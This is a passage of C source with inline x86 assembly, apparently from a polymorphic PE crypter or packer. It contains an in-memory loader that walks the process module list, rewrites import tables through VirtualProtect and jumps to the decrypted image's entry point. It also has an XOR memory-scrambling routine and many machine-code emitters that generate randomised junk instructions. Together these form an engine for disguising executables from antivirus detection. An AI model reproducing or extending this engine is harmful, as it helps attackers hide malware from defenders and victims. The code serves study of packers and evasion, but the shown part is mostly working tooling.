  759. _DynLoader_ImportFixup_next_module:
  760. add ebx,014h //sizeof(TImageImportDescriptor)
  761. jmp _DynLoader_ImportFixup_module
  762.  
  763. _DynLoader_export_fixup:
  764. //go through all loaded modules and search for IAT section for our module
  765. //then change image base in all imports there
  766. // int 3
  767. mov eax,fs:[000000030h] //TEB.PPEB
  768. mov eax,[eax+00Ch] //PEB.LoaderData
  769. mov ebx,[eax+00Ch] //LoaderData.InLoadOrderModuleList
  770. mov [ebp-070h],ebx //FirstModule
  771.  
  772. _DynLoader_export_fixup_process_module:
  773. mov edx,[ebx+018h] //InLoadOrderModuleList.BaseAddress
  774. cmp edx,[ebp-050h] //ImageBase
  775. jz _DynLoader_export_fixup_next
  776.  
  777. push edx
  778. push 004h //ucb
  779. push edx //lp
  780. call [ebp-07Ch] //IsBadReadPtr
  781. pop edx
  782. test eax,eax
  783. jnz _DynLoader_export_fixup_next
  784.  
  785. mov edi,edx
  786. add edi,[edi+03Ch] //IMAGE_DOS_HEADER.e_lfanew
  787. mov edi,[edi+080h] //NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
  788. test edi,edi
  789. jz _DynLoader_export_fixup_next
  790. add edi,edx //+ module.ImageBase
  791. _DynLoader_export_fixup_check_idt:
  792. xor eax,eax
  793. push edi
  794. push 005h //sizeof(ImportDirectoryTable)/4
  795. pop ecx
  796. rep scasd //test for null Directory Entry
  797. pop edi
  798. jz _DynLoader_export_fixup_next
  799.  
  800. mov esi,[edi+010h] //ImportSection.ImportAddressTableRVA
  801. add esi,[ebx+018h] //+ module.ImageBase
  802. mov eax,[esi] //first IAT func address
  803. sub eax,[ebp-050h] //- ImageBase
  804. jb _DynLoader_export_fixup_next_idir//this is not our import
  805. cmp eax,[ebp-048h] //ImageSize
  806. jbe _DynLoader_export_fixup_prefixaddr //this is our import
  807.  
  808. _DynLoader_export_fixup_next_idir:
  809. add edi,014h //+ sizeof(IDT) = next IDT
  810. jmp _DynLoader_export_fixup_check_idt
  811.  
  812. _DynLoader_export_fixup_prefixaddr:
  813. push 01Ch //dwLength = sizeof(MemoryBasicInformation)
  814. lea eax,[ebp-09Ch] //MemoryBasicInformation
  815. push eax //lpBuffer
  816. push esi //lpAddress
  817. call [ebp-078h] //VirtualQuery
  818.  
  819. lea eax,[ebp-088h] //MemoryBasicInformation.Protect
  820. push eax //lpflOldProtect
  821. push PAGE_READWRITE //flNewProtect
  822. push dword ptr [ebp-090h] //dwSize = MemoryBasicInformation.RegionSize
  823. push dword ptr [ebp-09Ch] //lpAddress = MemoryBasicInformation.BaseAddress
  824. call [ebp-074h] //VirtualProtect
  825. test eax,eax
  826. jz _DynLoader_export_fixup_next
  827.  
  828. push edi
  829. mov edi,esi
  830. _DynLoader_export_fixup_fixaddr:
  831. lodsd
  832. test eax,eax
  833. jz _DynLoader_export_fixup_protect_back
  834. sub eax,[ebp-050h] //- ImageBase
  835. add eax,[ebp-00Ch] //+ FileData
  836. stosd
  837. jmp _DynLoader_export_fixup_fixaddr
  838.  
  839. _DynLoader_export_fixup_protect_back:
  840. lea eax,[ebp-084h] //MemoryBasicInformation.Type (just need some pointer)
  841. push eax //lpflOldProtect
  842. push dword ptr [ebp-088h] //flNewProtect = MemoryBasicInformation.Protect
  843. push dword ptr [ebp-090h] //dwSize = MemoryBasicInformation.RegionSize
  844. push dword ptr [ebp-09Ch] //lpAddress = MemoryBasicInformation.BaseAddress
  845. call [ebp-074h] //VirtualProtect
  846. pop edi
  847. jmp _DynLoader_export_fixup_next_idir
  848.  
  849. _DynLoader_export_fixup_next:
  850. mov ebx,[ebx]
  851. cmp ebx,[ebp-070h] //.IF(InLoadOrderModuleList.Flink == FirstModule)
  852. jnz _DynLoader_export_fixup_process_module
  853.  
  854. _DynLoader_run:
  855. // int 3
  856. mov eax,[ebp-01D0h] //NtHeaders.OptionalHeader.AddressOfEntryPoint
  857. add eax,[ebp-00Ch] //NtHeaders.OptionalHeader.AddressOfEntryPoint + FileData = EntryPoint
  858.  
  859. _DynLoader_end:
  860. mov ecx,[ebp-00Ch] //we need FileData
  861. pop esi
  862. pop edi
  863. pop ebx
  864. LEAVE
  865. RETN 00Ch
  866.  
  867. _DynLoader_fill_image_info:
  868. //these values give info about our image, info is filled before DynLoader is put into
  869. //final executable, we find their offset going from DynLoader_end searching for DYN_LOADER_END_MAGIC
  870. MOV DWORD PTR [EBP-044h],012345678h //ImageType
  871. MOV DWORD PTR [EBP-048h],012345678h //ImageSize
  872. MOV DWORD PTR [EBP-04Ch],012345678h //ImageEntryPoint
  873. MOV DWORD PTR [EBP-054h],012345678h //OrgImageSize
  874. RETN
  875.  
  876. DWORD_TYPE(DYN_LOADER_END_MAGIC)
  877. }
  878. }
  879.  
  880. void DynLoader_end()
  881. {
  882. _asm;
  883. }
  884.  
  885. __stdcall void DynCoder(PCHAR AAddr,DWORD ASize,PCHAR AKey)
  886. {
  887. _asm
  888. {
  889. //this one only smashes a memory a little bit using a key
  890. _Coder_begin:
  891. push edi
  892. push esi
  893.  
  894. _Coder_main_loop:
  895. mov edi,[ebp+008h] //AAddr
  896. mov ecx,[ebp+00Ch] //ASize
  897. shr ecx,002h
  898. _Coder_pre_code:
  899. mov esi,[ebp+010h] //AKey
  900. _Coder_code:
  901. mov eax,[esi]
  902. test eax,0FF000000h
  903. jz _Coder_pre_code
  904. _Coder_do_code:
  905. add eax,ecx
  906. xor eax,[edi] //smash it
  907. stosd //store it
  908. inc esi
  909. loop _Coder_code
  910.  
  911. _Coder_end:
  912. pop esi
  913. pop edi
  914. leave
  915. ret 00Ch
  916. }
  917. }
  918. //this one is to support tls loading mechanism
  919. //returns pointer to raw data in old pe of data on VA specified by AVirtAddr
  920. //or NULL if no section contains this data
  921. DWORD VirtAddrToPhysAddr(PCHAR Base, DWORD ARVA)
  922. {
  923. DWORD _offset;
  924. PIMAGE_SECTION_HEADER section;
  925. PIMAGE_NT_HEADERS NtHeaders;
  926. NtHeaders=ImageNtHeader(Base);
  927. section=ImageRvaToSection(NtHeaders,Base,ARVA);
  928. if(section==NULL)
  929. {
  930. return(0);
  931. }
  932. _offset=ARVA+section->PointerToRawData-section->VirtualAddress;
  933. return(_offset);
  934. }
  935.  
  936. //converts RVA to RAW pointer
  937. PCHAR RVA2RAW(PCHAR Base, DWORD ARVA)
  938. {
  939. DWORD RAW;
  940. RAW=VirtAddrToPhysAddr(Base,ARVA);
  941. return(Base+RAW);
  942. }
  943.  
  944. //counts size of tls callbacks array
  945. DWORD GetTlsCallbacksLen(PDWORD ACallbacks)
  946. {
  947. PDWORD LPC;
  948. DWORD Result=4;
  949. LPC=ACallbacks;
  950. while(*LPC!=0)
  951. {
  952. Result+=4;
  953. LPC++;
  954. }
  955. return(Result);
  956. }
  957.  
  958. //does rounding up
  959. DWORD RoundSize(DWORD ASize,DWORD AAlignment)
  960. {
  961. return(DWORD((ASize+AAlignment-1)/AAlignment)*AAlignment);
  962. }
  963.  
  964. DWORD Random(DWORD dwRange)
  965. {
  966. DWORD RValue;
  967. DWORD rand_by_rang;
  968. // generate new random number
  969. RValue= rand();
  970. // force dwRange//the last rang is RAND_MAX
  971. if(dwRange!=0)rand_by_rang=RValue%dwRange;
  972. else rand_by_rang=0;
  973. return(rand_by_rang);
  974. }
  975.  
  976. //srand should only called one time !!!
  977. void InitRandom()
  978. {
  979. //manage the random generator //srand(GetTickCount());
  980. srand((unsigned)time(NULL));
  981. }
  982.  
  983. //generates a buffer of pseudo-random values from 1 to 255
  984. void GenerateRandomBuffer(PBYTE ABuf,DWORD ASize)
  985. {
  986. DWORD i;
  987. srand(0);
  988. //InitRandom();
  989. for(i=0;i<ASize;i++)
  990. {
  991. *ABuf=(BYTE)Random(0xFE)+1;
  992. ABuf++;
  993. }
  994. }
  995.  
  996. //generetes a key for encoding data
  997. //key is pseudo-random buffer ending with 0
  998. void GenerateKey(PBYTE AKey,WORD ASize)
  999. {
  1000. GenerateRandomBuffer(AKey,ASize);
  1001. memset(AKey+ASize-1,0,1);
  1002. }
  1003.  
  1004. //throw the dice
  1005. void ThrowTheDice(DWORD *ADice, DWORD ASides=6)
  1006. {
  1007. *ADice=Random(ASides)+1;
  1008. }
  1009.  
  1010. //throw the dice
  1011. void ThrowTheDice(WORD *ADice, WORD ASides=6)
  1012. {
  1013. *ADice=(BYTE)Random(ASides)+1;
  1014. }
  1015.  
  1016. //throw the dice
  1017. void ThrowTheDice(BYTE *ADice, BYTE ASides=6)
  1018. {
  1019. *ADice=(BYTE)Random(ASides)+1;
  1020. }
  1021.  
  1022. //select one of eax,ecx,edx,ebx,esp,ebp,esi,edi
  1023. BYTE RandomReg32All()
  1024. {
  1025. return((BYTE)Random(Reg32Count));
  1026. }
  1027.  
  1028. //select one of ax,cx,dx,bx,sp,bp,si,di
  1029. BYTE RandomReg16All()
  1030. {
  1031. return((BYTE)Random(Reg16Count));
  1032. }
  1033.  
  1034. //select one of al,cl,dl,bl,ah,ch,dh,bh
  1035. BYTE RandomReg8ABCD()
  1036. {
  1037. return((BYTE)Random(Reg8Count));
  1038. }
  1039.  
  1040. //select one of eax,ecx,edx,ebx,-,ebp,esi,edi
  1041. BYTE RandomReg32Esp()
  1042. {
  1043. BYTE Result=(BYTE)Random(Reg32Count-1);
  1044. if(Result==REG_ESP) Result=7;
  1045. return(Result);
  1046. }
  1047.  
  1048. //select one of eax,ecx,edx,ebx,-,-,esi,edi
  1049. BYTE RandomReg32EspEbp()
  1050. {
  1051. BYTE Result=(BYTE)Random(Reg32Count-2);
  1052. if(Result==REG_ESP) Result=6;
  1053. else if(Result==REG_EBP)Result=7;
  1054. return(Result);
  1055. }
  1056.  
  1057. void PutRandomBuffer(PBYTE &AMem,DWORD ASize)
  1058. {
  1059. GenerateRandomBuffer(AMem,ASize);
  1060. AMem+=ASize;
  1061. }
  1062.  
  1063. BYTE Bswap(PBYTE &AMem,BYTE AReg)
  1064. {
  1065. *AMem=0x0F; //bswap
  1066. AMem++;
  1067. *AMem=0xC8+AReg; //reg32
  1068. AMem++;
  1069. return(2);
  1070. }
  1071.  
  1072. BYTE Pushad(PBYTE &AMem)
  1073. {
  1074. *AMem=0x60;
  1075. AMem++;
  1076. return(1);
  1077. }
  1078.  
  1079. BYTE Stosd(PBYTE &AMem)
  1080. {
  1081. *AMem=0xAB; //stosd
  1082. AMem++;
  1083. return(1);
  1084. }
  1085.  
  1086. BYTE Movsd(PBYTE &AMem)
  1087. {
  1088. *AMem=0xA5; //movsd
  1089. AMem++;
  1090. return(1);
  1091. }
  1092.  
  1093. BYTE Ret(PBYTE &AMem)
  1094. {
  1095. *AMem=0xC3; //ret
  1096. AMem++;
  1097. return(1);
  1098. }
  1099.  
  1100. void Ret16(PBYTE &AMem,WORD AVal)
  1101. {
  1102. *AMem=0xC2; //ret
  1103. AMem++;
  1104. memcpy(AMem,&AVal,2); //retval
  1105. AMem+=2;
  1106. }
  1107.  
  1108. void RelJmpAddr32(PBYTE &AMem,DWORD AAddr)
  1109. {
  1110. *AMem=0xE9; //jmp
  1111. AMem++;
  1112. memcpy(AMem,&AAddr,4);
  1113. AMem+=4;
  1114. }
  1115.  
  1116. void RelJmpAddr8(PBYTE &AMem,BYTE AAddr)
  1117. {
  1118. *AMem=0xEB; //jmp
  1119. AMem++;
  1120. *AMem=AAddr; //Addr8
  1121. AMem++;
  1122. }
  1123.  
  1124. void RelJzAddr32(PBYTE &AMem,DWORD AAddr)
  1125. {
  1126. *AMem=0x0F; //conditional jump
  1127. AMem++;
  1128. *AMem=0x84; //if zero
  1129. AMem++;
  1130. memcpy(AMem,&AAddr,4);
  1131. AMem+=4;
  1132. }
  1133.  
  1134. void RelJnzAddr32(PBYTE &AMem,DWORD AAddr)
  1135. {
  1136. *AMem=0x0F; //conditional jump
  1137. AMem++;
  1138. *AMem=0x85; //if not zero
  1139. AMem++;
  1140. memcpy(AMem,&AAddr,4);
  1141. AMem+=4;
  1142. }
  1143.  
  1144. void RelJbAddr32(PBYTE &AMem,DWORD AAddr)
  1145. {
  1146. *AMem=0x0F; //conditional jump
  1147. AMem++;
  1148. *AMem=0x82; //if below
  1149. AMem++;
  1150. memcpy(AMem,&AAddr,4);
  1151. AMem+=4;
  1152. }
  1153.  
  1154. void RelJzAddr8(PBYTE &AMem,BYTE AAddr)
  1155. {
  1156. *AMem=0x74; //jz
  1157. AMem++;
  1158. *AMem=AAddr; //addr8
  1159. AMem++;
  1160. }
  1161.  
  1162. void RelJnzAddr8(PBYTE &AMem,BYTE AAddr)
  1163. {
  1164. *AMem=0x75; //jnz
  1165. AMem++;
  1166. *AMem=AAddr; //addr8
  1167. AMem++;
  1168. }
  1169.  
  1170. BYTE JmpRegMemIdx8(PBYTE &AMem,BYTE AReg,BYTE AIdx)
  1171. {
  1172. BYTE Result=3;
  1173. *AMem=0xFF; //jmp
  1174. AMem++;
  1175. *AMem=0x60+AReg; //regmem
  1176. AMem++;
  1177. if(AReg==REG_ESP)
  1178. {
  1179. Result++;
  1180. *AMem=0x24; //esp
  1181. AMem++;
  1182. }
  1183. *AMem=AIdx; //idx8
  1184. AMem++;
  1185. return(Result);
  1186. }
  1187.  
  1188. BYTE PushRegMem(PBYTE &AMem,BYTE AReg)
  1189. {
  1190. BYTE Result=2;
  1191. *AMem=0xFF; //push
  1192. AMem++;
  1193. if(AReg==REG_EBP)
  1194. {
  1195. Result++;
  1196. *AMem=0x75; //ebp
  1197. AMem++;
  1198. *AMem=0x00; //+0
  1199. }
  1200. else
  1201. {
  1202. *AMem=0x30+AReg; //regmem
  1203. }
  1204. AMem++;
  1205. if(AReg==REG_ESP)
  1206. {
  1207. Result++;
  1208. *AMem=0x24; //esp
  1209. AMem++;
  1210. }
  1211. return(Result);
  1212. }
  1213.  
  1214. void PushReg32(PBYTE &AMem,BYTE AReg)
  1215. {
  1216. *AMem=0x50+AReg; //push reg
  1217. AMem++;
  1218. }
  1219.  
  1220. BYTE PushReg32Rand(PBYTE &AMem)
  1221. {
  1222. BYTE Result=RandomReg32Esp();
  1223. PushReg32(AMem,Result);
  1224. return(Result);
  1225. }
  1226.  
  1227. void PopReg32(PBYTE &AMem,BYTE AReg)
  1228. {
  1229. *AMem=0x58+AReg; //pop reg
  1230. AMem++;
  1231. }
  1232.  
  1233. BYTE PopReg32Idx(PBYTE &AMem,BYTE AReg,DWORD AIdx)
  1234. {
  1235. BYTE Result=6;
  1236. *AMem=0x8F; //pop
  1237. AMem++;
  1238. *AMem=0x80+AReg; //reg32
  1239. AMem++;
  1240. if(AReg==REG_ESP)
  1241. {
  1242. *AMem=0x24; //esp
  1243. AMem++;
  1244. Result++;
  1245. }
  1246. memcpy(AMem,&AIdx,4); //+ idx
  1247. AMem+=4;
  1248. return(Result);
  1249. }
  1250.  
  1251. void RelCallAddr(PBYTE &AMem,DWORD AAddr)
  1252. {
  1253. *AMem=0xE8; //call
  1254. AMem++;
  1255. memcpy(AMem,&AAddr,4); //+ idx
  1256. AMem+=4;
  1257. }
  1258.  
  1259. void MovReg32Reg32(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  1260. {
  1261. *AMem=0x89; //mov
  1262. AMem++;
  1263. *AMem=AReg2*8+AReg1+0xC0; //reg32,reg32
  1264. AMem++;
  1265. }
  1266.  
  1267. void AddReg32Reg32(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  1268. {
  1269. *AMem=0x01; //add
  1270. AMem++;
  1271. *AMem=AReg2*8+AReg1+0xC0; //reg32,reg32
  1272. AMem++;
  1273. }
  1274.  
  1275. BYTE AddReg32RegMem(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  1276. {
  1277. BYTE Result=2;
  1278. *AMem=0x03; //add
  1279. AMem++;
  1280. if(AReg2==REG_EBP)
  1281. {
  1282. Result++;
  1283. *AMem=AReg1*8+0x45; //reg32,ebp
  1284. AMem++;
  1285. *AMem=0x00; //+0
  1286. }
  1287. else
  1288. {
  1289. *AMem=AReg1*8+AReg2; //reg32,regmem
  1290. }
  1291. AMem++;
  1292. if(AReg2==REG_ESP)
  1293. {
  1294. Result++;
  1295. *AMem=0x24; //esp
  1296. AMem++;
  1297. }
  1298. return(Result);
  1299. }
  1300.  
  1301. BYTE AddRegMemReg32(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  1302. {
  1303. BYTE Result=2;
  1304. *AMem=0x01; //add
  1305. AMem++;
  1306. if(AReg1==REG_EBP)
  1307. {
  1308. Result++;
  1309. *AMem=AReg2*8+0x45; //regmem,ebp
  1310. AMem++;
  1311. *AMem=0x00; //+0
  1312. }
  1313. else
  1314. {
  1315. *AMem=AReg2*8+AReg1; //regmem,reg
  1316. }
  1317. AMem++;
  1318. if(AReg1==REG_ESP)
  1319. {
  1320. Result++;
  1321. *AMem=0x24; //esp
  1322. AMem++;
  1323. }
  1324. return(Result);
  1325. }
  1326.  
  1327. void AddReg32Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1328. {
  1329. *AMem=0x83; //add
  1330. AMem++;
  1331. *AMem=0xC0+AReg; //reg32
  1332. AMem++;
  1333. *AMem=ANum; //num8
  1334. AMem++;
  1335. }
  1336.  
  1337. void MovReg32Num32(PBYTE &AMem,BYTE AReg,DWORD ANum)
  1338. {
  1339. *AMem=0xB8+AReg; //mov reg32
  1340. AMem++;
  1341. memcpy(AMem,&ANum,4); //num32
  1342. AMem+=4;
  1343. }
  1344.  
  1345. BYTE MovReg32IdxNum32(PBYTE &AMem,BYTE AReg,DWORD AIdx,DWORD ANum)
  1346. {
  1347. BYTE Result=10;
  1348. *AMem=0xC7; //mov
  1349. AMem++;
  1350. *AMem=0x80+AReg; //reg32
  1351. AMem++;
  1352. if(AReg==REG_ESP)
  1353. {
  1354. Result++;
  1355. *AMem=0x24; //esp
  1356. AMem++;
  1357. }
  1358. memcpy(AMem,&AIdx,4); //+ idx
  1359. AMem+=4;
  1360. memcpy(AMem,&ANum,4); //Num32
  1361. AMem+=4;
  1362. return(Result);
  1363. }
  1364.  
  1365. //both AReg must not be REG_ESP or REG_EBP
  1366. void MovReg32Reg32IdxNum32(PBYTE &AMem,BYTE AReg1,BYTE AReg2,DWORD ANum)
  1367. {
  1368. if(AReg1==REG_ESP)
  1369. {
  1370. AReg1=AReg2;
  1371. AReg2=REG_ESP;
  1372. }
  1373. if(AReg2==REG_EBP)
  1374. {
  1375. AReg2=AReg1;
  1376. AReg1=REG_EBP;
  1377. }
  1378. *AMem=0xC7; //mov
  1379. AMem++;
  1380. *AMem=0x04;
  1381. AMem++;
  1382. *AMem=AReg1*8+AReg2;
  1383. AMem++;
  1384. memcpy(AMem,&ANum,4); //Num32
  1385. AMem+=4;
  1386. }
  1387.  
  1388. BYTE MovReg32RegMem(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  1389. {
  1390. BYTE Result=2;
  1391. *AMem=0x8B; //mov
  1392. AMem++;
  1393. if(AReg2==REG_EBP)
  1394. {
  1395. Result++;
  1396. *AMem=AReg1*8+0x45; //reg32,ebp
  1397. AMem++;
  1398. *AMem=0x00; //+0
  1399. }
  1400. else
  1401. {
  1402. *AMem=AReg1*8+AReg2; //reg32,regmem
  1403. }
  1404. AMem++;
  1405. if(AReg2==REG_ESP)
  1406. {
  1407. Result++;
  1408. *AMem=0x24; //esp
  1409. AMem++;
  1410. }
  1411. return(Result);
  1412. }
  1413.  
  1414. BYTE MovRegMemReg32(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  1415. {
  1416. BYTE Result=2;
  1417. *AMem=0x89; //mov
  1418. AMem++;
  1419. if(AReg1==REG_EBP)
  1420. {
  1421. Result++;
  1422. *AMem=AReg2*8+0x45; //reg32,ebp
  1423. AMem++;
  1424. *AMem=0x00; //+0
  1425. }
  1426. else
  1427. {
  1428. *AMem=AReg2*8+AReg1; //reg32,regmem
  1429. }
  1430. AMem++;
  1431. if(AReg1==REG_ESP)
  1432. {
  1433. Result++;
  1434. *AMem=0x24; //esp
  1435. AMem++;
  1436. }
  1437. return(Result);
  1438. }
  1439.  
  1440. BYTE MovReg32RegMemIdx8(PBYTE &AMem,BYTE AReg1,BYTE AReg2,BYTE AIdx)
  1441. {
  1442. BYTE Result=3;
  1443. *AMem=0x8B; //mov
  1444. AMem++;
  1445. *AMem=AReg1*8+AReg2+0x40; //AReg1,AReg2
  1446. AMem++;
  1447. if(AReg2==REG_ESP)
  1448. {
  1449. Result++;
  1450. *AMem=0x24; //esp
  1451. AMem++;
  1452. }
  1453. *AMem=AIdx; //AIdx
  1454. AMem++;
  1455. return(Result);
  1456. }
  1457.  
  1458. void PushNum32(PBYTE &AMem,DWORD ANum)
  1459. {
  1460. *AMem=0x68; //push
  1461. AMem++;
  1462. memcpy(AMem,&ANum,4);
  1463. AMem+=4;
  1464. }
  1465.  
  1466. void JmpReg32(PBYTE &AMem,BYTE AReg)
  1467. {
  1468. *AMem=0xFF; //jmp | call
  1469. AMem++;
  1470. *AMem=0xE0+AReg; //reg32
  1471. AMem++;
  1472. }
  1473.  
  1474. void CallReg32(PBYTE &AMem,BYTE AReg)
  1475. {
  1476. *AMem=0xFF; //jmp | call
  1477. AMem++;
  1478. *AMem=0xD0+AReg; //reg32
  1479. AMem++;
  1480. }
  1481.  
  1482. void Cld(PBYTE &AMem)
  1483. {
  1484. *AMem=0xFC; //cld
  1485. AMem++;
  1486. }
  1487.  
  1488. void Std(PBYTE &AMem)
  1489. {
  1490. *AMem=0xFD; //std
  1491. AMem++;
  1492. }
  1493.  
  1494. void Nop(PBYTE &AMem)
  1495. {
  1496. *AMem=0x90; //nop
  1497. AMem++;
  1498. }
  1499.  
  1500. void Stc(PBYTE &AMem)
  1501. {
  1502. *AMem=0xF9; //stc
  1503. AMem++;
  1504. }
  1505.  
  1506. void Clc(PBYTE &AMem)
  1507. {
  1508. *AMem=0xF8; //clc
  1509. AMem++;
  1510. }
  1511.  
  1512. void Cmc(PBYTE &AMem)
  1513. {
  1514. *AMem=0xF5; //cmc
  1515. AMem++;
  1516. }
  1517.  
  1518. void XchgReg32Rand(PBYTE &AMem)
  1519. {
  1520. *AMem=0x87; //xchg
  1521. AMem++;
  1522. *AMem=0xC0+RandomReg32All()*9; //reg32
  1523. AMem++;
  1524. }
  1525.  
  1526. BYTE XchgReg32Reg32(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  1527. {
  1528. BYTE Result;
  1529. if(AReg2==REG_EAX){ AReg2=AReg1; AReg1=REG_EAX; }
  1530. if(AReg1==REG_EAX) ThrowTheDice(&Result,2);
  1531. else Result=2;
  1532. if(Result==2)
  1533. {
  1534. *AMem=0x87; //xchg
  1535. AMem++;
  1536. *AMem=0xC0+AReg2*8+AReg1; //reg32
  1537. }
  1538. else
  1539. {
  1540. *AMem=0x90+AReg2; //xchg eax,reg32
  1541. }
  1542. AMem++;
  1543. return(Result);
  1544. }
  1545.  
  1546. void MovReg32Rand(PBYTE &AMem)
  1547. {
  1548. *AMem=0x8B; //mov
  1549. AMem++;
  1550. *AMem=0xC0+RandomReg32All()*9; //reg32
  1551. AMem++;
  1552. }
  1553.  
  1554. void IncReg32(PBYTE &AMem,BYTE AReg)
  1555. {
  1556. *AMem=0x40+AReg; //inc reg32
  1557. AMem++;
  1558. }
  1559.  
  1560. void DecReg32(PBYTE &AMem,BYTE AReg)
  1561. {
  1562. *AMem=0x48+AReg; //dec reg32
  1563. AMem++;
  1564. }
  1565.  
  1566. BYTE IncReg32Rand(PBYTE &AMem)
  1567. {
  1568. BYTE Result=RandomReg32All();
  1569. IncReg32(AMem,Result);
  1570. return(Result);
  1571. }
  1572.  
  1573. BYTE DecReg32Rand(PBYTE &AMem)
  1574. {
  1575. BYTE Result=RandomReg32All();
  1576. DecReg32(AMem,Result);
  1577. return(Result);
  1578. }
  1579.  
  1580. BYTE LeaReg32Reg32(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  1581. {
  1582. BYTE Result=2;
  1583. *AMem=0x8D; //mov
  1584. AMem++;
  1585. if(AReg2==REG_EBP)
  1586. {
  1587. Result++;
  1588. *AMem=AReg1*8+0x45; //reg32,ebp
  1589. AMem++;
  1590. *AMem=0x00; //+0
  1591. }
  1592. else
  1593. {
  1594. *AMem=AReg1*8+AReg2; //reg32,regmem
  1595. }
  1596. AMem++;
  1597. if(AReg2==REG_ESP)
  1598. {
  1599. Result++;
  1600. *AMem=0x24; //esp
  1601. AMem++;
  1602. }
  1603. return(Result);
  1604. }
  1605.  
  1606. BYTE LeaReg32Reg32MemIdx8(PBYTE &AMem,BYTE AReg1,BYTE AReg2,BYTE AIdx)
  1607. {
  1608. BYTE Result=3;
  1609. *AMem=0x8D; //lea
  1610. AMem++;
  1611. *AMem=0x40+AReg1*8+AReg2; //reg32,reg32mem
  1612. AMem++;
  1613. if(AReg2==REG_ESP)
  1614. {
  1615. Result++;
  1616. *AMem=0x24; //esp
  1617. AMem++;
  1618. }
  1619. *AMem=AIdx; //idx8
  1620. AMem++;
  1621. return(Result);
  1622. }
  1623.  
  1624. void LeaReg32Rand(PBYTE &AMem)
  1625. {
  1626. *AMem=0x8D; //lea
  1627. AMem++;
  1628. *AMem=0x00+RandomReg32EspEbp()*9; //reg32
  1629. AMem++;
  1630. }
  1631.  
  1632. void LeaReg32Addr32(PBYTE &AMem,BYTE AReg,DWORD AAddr)
  1633. {
  1634. *AMem=0x8D; //lea
  1635. AMem++;
  1636. *AMem=0x05+AReg*8; //reg32
  1637. AMem++;
  1638. memcpy(AMem,&AAddr,4); //addr32
  1639. AMem+=4;
  1640. }
  1641.  
  1642. void TestReg32Rand(PBYTE &AMem)
  1643. {
  1644. *AMem=0x85; //test
  1645. AMem++;
  1646. *AMem=0xC0+RandomReg32All()*9; //reg32
  1647. AMem++;
  1648. }
  1649.  
  1650. void OrReg32Rand(PBYTE &AMem)
  1651. {
  1652. *AMem=0x0B; //or
  1653. AMem++;
  1654. *AMem=0xC0+RandomReg32All()*9; //reg32
  1655. AMem++;
  1656. }
  1657.  
  1658. void AndReg32Rand(PBYTE &AMem)
  1659. {
  1660. *AMem=0x23; //and
  1661. AMem++;
  1662. *AMem=0xC0+RandomReg32All()*9; //reg32
  1663. AMem++;
  1664. }
  1665.  
  1666. void TestReg8Rand(PBYTE &AMem)
  1667. {
  1668. BYTE LReg8;
  1669. LReg8=RandomReg8ABCD();
  1670. *AMem=0x84; //test
  1671. AMem++;
  1672. *AMem=0xC0+LReg8*9; //reg8
  1673. AMem++;
  1674. }
  1675.  
  1676. void OrReg8Rand(PBYTE &AMem)
  1677. {
  1678. BYTE LReg8;
  1679. LReg8=RandomReg8ABCD();
  1680. *AMem=0x0A; //or
  1681. AMem++;
  1682. *AMem=0xC0+LReg8*9; //reg8
  1683. AMem++;
  1684. }
  1685.  
  1686. void AndReg8Rand(PBYTE &AMem)
  1687. {
  1688. BYTE LReg8;;
  1689. LReg8=RandomReg8ABCD();
  1690. *AMem=0x22; //and
  1691. AMem++;
  1692. *AMem=0xC0+LReg8*9; //reg8
  1693. AMem++;
  1694. }
  1695.  
  1696. void CmpRegRegNum8Rand(PBYTE &AMem)
  1697. {
  1698. BYTE LRnd;
  1699. LRnd=(BYTE)Random(3);
  1700. *AMem=0x3A+LRnd; //cmp
  1701. AMem++;
  1702. if(LRnd<2) LRnd=(BYTE)Random(0x40)+0xC0;
  1703. else LRnd=(BYTE)Random(0x100);
  1704. *AMem=LRnd; //reg16 | reg32 | num16
  1705. AMem++;
  1706. }
  1707.  
  1708. BYTE CmpReg32Reg32(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  1709. {
  1710. *AMem=0x39; //cmp
  1711. AMem++;
  1712. *AMem=0xC0+AReg1+AReg2*8; //reg1,reg2
  1713. AMem++;
  1714. return(2);
  1715. }
  1716.  
  1717. void CmpReg32Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1718. {
  1719. *AMem=0x83; //cmp
  1720. AMem++;
  1721. *AMem=0xF8+AReg; //reg32
  1722. AMem++;
  1723. *AMem=ANum; //num8
  1724. AMem++;
  1725. }
  1726.  
  1727. void CmpReg32RandNum8(PBYTE &AMem,BYTE AReg)
  1728. {
  1729. CmpReg32Num8(AMem,AReg,(BYTE)Random(0x100));
  1730. }
  1731.  
  1732. void CmpRandReg32RandNum8(PBYTE &AMem)
  1733. {
  1734. CmpReg32RandNum8(AMem,RandomReg32All());
  1735. }
  1736.  
  1737. void JmpNum8(PBYTE &AMem,BYTE ANum)
  1738. {
  1739. BYTE LRnd;
  1740. LRnd=(BYTE)Random(16);
  1741. if(LRnd==16) *AMem=0xEB; //jmp
  1742. else *AMem=0x70+LRnd; //cond jmp
  1743. AMem++;
  1744. *AMem=ANum; //num8
  1745. AMem++;
  1746. }
  1747.  
  1748. void SubReg32Reg32(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  1749. {
  1750. *AMem=0x29; //sub
  1751. AMem++;
  1752. *AMem=AReg2*8+AReg1+0xC0; //reg32,reg32
  1753. AMem++;
  1754. }
  1755.  
  1756. void SubReg32Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1757. {
  1758. *AMem=0x83; //sub
  1759. AMem++;
  1760. *AMem=0xE8+AReg; //reg32
  1761. AMem++;
  1762. *AMem=ANum; //num8
  1763. AMem++;
  1764. }
  1765.  
  1766. BYTE SubReg32Num8Rand(PBYTE &AMem,BYTE ANum)
  1767. {
  1768. BYTE Result=RandomReg32All();
  1769. SubReg32Num8(AMem,Result,ANum);
  1770. return(Result);
  1771. }
  1772.  
  1773. BYTE AddReg32Num8Rand(PBYTE &AMem,BYTE ANum)
  1774. {
  1775. BYTE Result=RandomReg32All();
  1776. AddReg32Num8(AMem,Result,ANum);
